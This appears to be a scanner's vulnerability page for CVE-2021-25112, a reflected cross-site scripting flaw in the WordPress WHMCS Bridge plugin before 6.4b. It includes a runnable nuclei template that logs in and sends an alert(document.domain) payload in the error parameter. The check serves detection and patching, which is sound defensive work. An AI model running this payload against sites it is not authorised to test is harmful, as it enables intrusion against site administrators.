WordPress WHMCS Bridge <6.4b - Cross-Site Scripting

mediumseverity

6.1CVSS score

2.2%likelihood of exploitation, next 30 days

83%of all CVEs are less likely

Readycheck to confirm it

WordPress WHMCS Bridge plugin before 6.4b contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the error parameter before outputting it back in the admin dashboard.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Update WordPress WHMCS Bridge to version 6.4b or later to mitigate this vulnerability.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/options-general.php?page=cc-ce-bridge-cp&error=%3Cimg%20src%20onerror=alert(document.domain)%3E
Positive when: contains "<strong><img src onerror=alert(document.domain)></strong>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-25112 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-25112

info:
  name: WordPress WHMCS Bridge <6.4b - Cross-Site Scripting
  author: dhiyaneshDk
  severity: medium
  description: |
    WordPress WHMCS Bridge plugin before 6.4b contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the error parameter before outputting it back in the admin dashboard.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update WordPress WHMCS Bridge to version 6.4b or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/4aae2dd9-8d51-4633-91bc-ddb53ca3471c
    - https://plugins.trac.wordpress.org/changeset/2659751
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25112
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25112
    cwe-id: CWE-79
    epss-score: 0.02187
    epss-percentile: 0.82563
    cpe: cpe:2.3:a:i-plugins:whmcs_bridge:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: i-plugins
    product: whmcs_bridge
    framework: wordpress
  tags: cve2021,cve,whmcs,xss,wpscan,wordpress,wp-plugin,wp,authenticated,i-plugins,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/options-general.php?page=cc-ce-bridge-cp&error=%3Cimg%20src%20onerror=alert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<strong><img src onerror=alert(document.domain)></strong>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from